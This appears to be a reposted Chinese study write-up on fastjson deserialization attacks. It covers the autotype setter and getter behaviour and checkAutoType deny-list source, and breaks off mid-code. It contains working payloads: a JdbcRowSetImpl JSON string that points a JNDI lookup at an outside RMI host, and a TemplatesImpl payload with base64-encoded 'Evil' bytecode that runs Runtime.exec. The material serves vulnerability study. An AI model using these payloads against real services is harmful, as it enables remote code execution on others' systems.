[Java安全]fastjson学习
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篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了[Java安全]fastjson学习相关的知识，希望对你有一定的参考价值。
前言
之前的文章的补充了，咕了半年再好好学学fastjson。
初认fastjson
Fastjson 是一个 Java 库，可以将 Java 对象转换为 JSON 格式，当然它也可以将 JSON 字符串转换为 Java 对象。
Fastjson 可以操作任何 Java 对象，即使是一些预先存在的没有源码的对象。
它关键的方法就是三个：
- 将对象转换成JSON字符串：
JSON.toJSONString - 将JSON字符串转换成对象：
JSON.parse和JSON.parseObject()
简单的写个类：
package com.feng.pojo;
public class Student
private String name;
private int age;
public Student()
System.out.println("构造函数");
public String getName()
System.out.println("getName");
return name;
public void setName(String name)
System.out.println("setName");
this.name = name;
public int getAge()
System.out.println("getAge");
return age;
public void setAge(int age) throws Exception
System.out.println("setAge");
//Runtime.getRuntime().exec("calc");
this.age = age;
public void setTest(int i)
System.out.println("setTest");
之所以会有这么个setTest()，后面会聊到。
来测试一下对象转JSON字符串：
Student student = new Student();
student.setAge(18);
student.setName("feng");
System.out.println("====================");
String jsonString1 = JSON.toJSONString(student);
System.out.println("====================");
String jsonString2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonString1);
System.out.println(jsonString2);
构造函数
setAge
setName
====================
getAge
getName
====================
getAge
getName
"age":18,"name":"feng"
"@type":"com.feng.pojo.Student","age":18,"name":"feng"
可以看到，调用JSON.toJSONString会自动调用类的getter。
可以发现这个SerializerFeature.WriteClassName，设置的话就会加上@type，指明类。
再试试JSON字符串转对象：
String jsonString1 = "\\"age\\":18,\\"name\\":\\"feng\\"";
String jsonString2 = "\\"@type\\":\\"com.feng.pojo.Student\\",\\"age\\":18,\\"name\\":\\"feng\\"";
System.out.println(JSON.parse(jsonString1));
System.out.println("======================");
System.out.println(JSON.parse(jsonString2));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString1));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString2));
System.out.println("======================");
"name":"feng","age":18
======================
构造函数
setAge
setName
com.feng.pojo.Student@7bb11784
======================
"name":"feng","age":18
======================
构造函数
setAge
setName
getAge
getName
"name":"feng","age":18
======================
可以发现parseObject最后得到的还是JSON对象。看一下源码可以知道，parseObject其实就是调用一次parse，然后转换成JSONObject：
public static JSONObject parseObject(String text)
Object obj = parse(text);
if (obj instanceof JSONObject)
return (JSONObject) obj;
return (JSONObject) JSON.toJSON(obj);
还可以发现，如果不带上@type指明类名，是没法得到类对象的。
如果指明了类名，使用parse的时候，不仅会得到对象，还会调用这个对象的setter；使用的是parseObject的话，不仅会得到对象且调用setter，还会调用getter。
这种利用@type的机制也叫autotype：
autotype 是 Fastjson 中的一个重要机制，粗略来说就是用于设置能否将 JSON 反序列化成对象。
这种会调用setter和getter的机制，很容易想到之前CommonsBeanutils1文章里的PropertyUtils.getProperty，将会调用对应属性的getter，而且不是说那种调用，是get+属性，调用这种方法。
因此同理我在类中设置了一个setTest方法，但是不存在test属性。经过测试，如果JSON字符串里有了test键，在parse的时候也确实会调用这个方法，其实这时候就多少会联想到TemplatesImpl的getOutputProperties。不过这个之后再谈。
后续补充：
set开头的方法要求如下：
- 方法名长度大于4且以set开头，且第四个字母要是大写
- 非静态方法
- 返回类型为void或当前类
- 参数个数为1个
get开头的方法要求如下：
- 方法名长度大于等于4
- 非静态方法
- 以get开头且第4个字母为大写
- 无传入参数
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
JdbcRowSetImpl利用链
知道了这些东西，如果parse或者parseObject的字符串可控的话，是否可以造成攻击呢？
这就引出了fastjson的两种攻击方式。好用的肯定还是这个JNDI攻击方式。
关于JNDI注入的相关知识，上一篇已经提到了，就不再多阐述了。
关键就是JdbcRowSetImpl类的setDataSourceName()方法和setAutoCommit方法。看一下这个利用链是怎么攻击的：
public void setAutoCommit(boolean var1) throws SQLException
if (this.conn != null)
this.conn.setAutoCommit(var1);
else
this.conn = this.connect();
this.conn.setAutoCommit(var1);
如果this.conn为null的话，会进入this.connect()：
private Connection connect() throws SQLException
if (this.conn != null)
return this.conn;
else if (this.getDataSourceName() != null)
try
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
可以很清楚的看到下面两行，很明显的一个JNDI。想办法得让this.getDataSourceName()可控：
public String getDataSourceName()
return dataSource;
也就是要控制dataSource属性。跟进一下setDataSourceName()：
public void setDataSourceName(String var1) throws SQLException
if (this.getDataSourceName() != null)
if (!this.getDataSourceName().equals(var1))
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
else
super.setDataSourceName(var1);
public void setDataSourceName(String name) throws SQLException
if (name == null)
dataSource = null;
else if (name.equals(""))
throw new SQLException("DataSource name cannot be empty string");
else
dataSource = name;
URL = null;
直接设置就好了。构造一波：
\\"@type\\":\\"com.sun.rowset.JdbcRowSetImpl\\",\\"dataSourceName\\":\\"rmi://121.5.169.223:39654/feng\\", \\"autoCommit\\":true
String jsonString1 = "\\"@type\\":\\"com.sun.rowset.JdbcRowSetImpl\\",\\"dataSourceName\\":\\"rmi://121.5.169.223:39654/feng\\", \\"autoCommit\\":true";
JSON.parse(jsonString1);
TemplatesImpl利用链
给我看的脑子疼。跟进的太嘛了，也是跟了一遍，很懵，可以自己跟进一遍叭。
总的来说，既然想到利用TemplatesImpl，就是调用getOutputProperties，但是parse不应该只调用setter吗？关键就在于这里。打断点跟进一下就会发现，当解析到_OutputProperties的时候在这里设置值：
继续跟进，可以发现在setValue里面的第66行得到了这个getOutputProperties方法
并且进入了这里的if，调用了这个方法：
试得TemplatesImpl可以利用。接下来就是联想一下反序列化中的TemplatesImpl：
byte[] bytes = Base64.getDecoder().decode("xxx");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]bytes);
setFieldValue(templates,"_name","feng");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
设置这三个属性，然后调用getOutputProperties方法即可。
不过这种方法有很大的局限，就是private属性的还原。上面讲fastjson的时候用到的Student类的属性都是private，也都成功还原了。但是你仔细想想，是因为我加了setter啊。private属性咋可能会有setter？这就导致了，要还原private属性的话，需要加上个Feature.SupportNonPublicField才可以：
JSON.parse(jsonString, Feature.SupportNonPublicField);
给出构造的payload：
String jsonString = "\\"@type\\":\\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\\",\\"_bytecodes\\":[\\"yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTEV2aWw7AQANU3RhY2tNYXBUYWJsZQcAKwcAKQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAJAAoHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvaW8vSU9FeGNlcHRpb24MADMACgEABEV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFQANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj\\"],\\"_name\\":\\"feng\\",\\"_tfactory\\":,\\"_outputProperties\\":";
JSON.parse(jsonString, Feature.SupportNonPublicField);
可以很奇怪的发现，_bytecodes那里使用了base64编码，这是取了Evil.class然后Base64编码。原因就在于，最后在这里得到bytes的时候：
else
val = deserializer.deserialze(this, type, i);
if (lexer.token() == JSONToken.LITERAL_STRING)
byte[] bytes = lexer.bytesValue();
lexer.nextToken(JSONToken.COMMA);
return (T) bytes;
public byte[] bytesValue()
return IOUtils.decodeBase64(text, np + 1, sp);
对_bytecode的值进行了base64解码。可以自己跟一下代码看看。所以需要base64编码。
其实想想这种处理方式是很正确的，因为这种字节数组，很容易有不可见字符，所以加一层base64才行。
fastjson 1.2.25-1.2.41
在1.2.24的基础上增加了checkAutoType()方法：
public Class<?> checkAutoType(String typeName, Class<?> expectClass)
if (typeName == null)
return null;
final String className = typeName.replace('$', '.');
if (autoTypeSupport || expectClass != null)
for (int i = 0; i < acceptList.length; ++i)
String accept = acceptList[i];
if (className.startsWith(accept))
return TypeUtils.loadClass(typeName, defaultClassLoader);
for (int i = 0; i < denyList.length; ++i)
String deny = denyList[i];
if (className.startsWith(deny))
throw new JSONException("autoType is not support. " + typeName);
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null)
clazz = deserializers.findClass(typeName);
if (clazz != null)
if (expectClass != null && !expectClass.isAssignableFrom(clazz))
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
return clazz;
if (!autoTypeSupport)
for (int i = 0; i < denyList.length; ++i)
String deny = denyList[i];
if (className.startsWith(deny))
throw new JSONException("autoType is not support. " + typeName);
for (int i = 0; i < acceptList.length; ++i)
String accept = acceptList[i];
if (className.startsWith(accept))
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz))
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
return clazz;
if (autoTypeSupport || expectClass != null)
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (clazz != null)
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
)
throw new JSONException("autoType is not support. " + typeName);
if (expectClass != null)
if (expectClass.isAssignableFrom(clazz))
return clazz;
else
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
if (!autoTypeSupport以上是关于[Java安全]fastjson学习的主要内容，如果未能解决你的问题，请参考以下文章
Java安全之FastJson JdbcRowSetImpl 链分析